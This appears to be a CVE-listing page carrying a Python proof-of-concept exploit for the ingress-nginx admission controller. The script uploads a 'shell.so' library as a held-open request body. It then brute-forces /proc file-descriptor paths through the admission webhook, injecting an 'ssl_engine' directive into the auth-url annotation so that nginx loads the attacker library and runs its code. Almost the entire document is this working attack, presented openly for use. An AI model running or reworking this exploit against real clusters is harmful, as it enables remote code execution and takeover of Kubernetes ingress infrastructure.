4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import asyncio
import json

import httpx

admission_url = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
url = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"

# or use port-forward to prove locally
# kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller 8080:80
# kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443
admission_url = "https://localhost:8443/networking/v1/ingresses"
url = "http://localhost:8080/fake/addr"


with open("req.json", "r") as f:
    data = json.load(f)

with open("shell.so", "rb") as f:
    shellcode = f.read()


async def send_admission_req():
    async with httpx.AsyncClient(verify=False) as client:
        for pid in range(30, 90):
            for fd in range(10, 40):
                p = f"/proc/{pid}/fd/{fd}"
                data["request"]["object"]["metadata"]["annotations"][
                    "nginx.ingress.kubernetes.io/auth-url"
                ] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,)

                try:
                    resp = await client.post(
                        admission_url,
                        json=data,
                    )
                    print("Testing", p)
                    res = resp.json()["response"]
                    if "No such device or address" in res["status"]["message"] or (
                        "No such file or directory" in res["status"]["message"]
                    ):
                        continue
                except:
                    print("Error parsing response")
                    continue
                print(resp.json())
                return


async def upload():
    class FakeIterator:
        def __init__(self):
            self.done = False

        async def __aiter__(self):
            yield shellcode
            await asyncio.sleep(60 * 60 * 60)

    async with httpx.AsyncClient() as client:
        res = await client.post(
            url,
            data=FakeIterator(),
        )
        print("Posting done")


if __name__ == "__main__":
    loop = asyncio.get_event_loop()
    loop.run_until_complete(
        asyncio.gather(*[upload() for _ in range(10)], send_admission_req())
    )
    loop.close()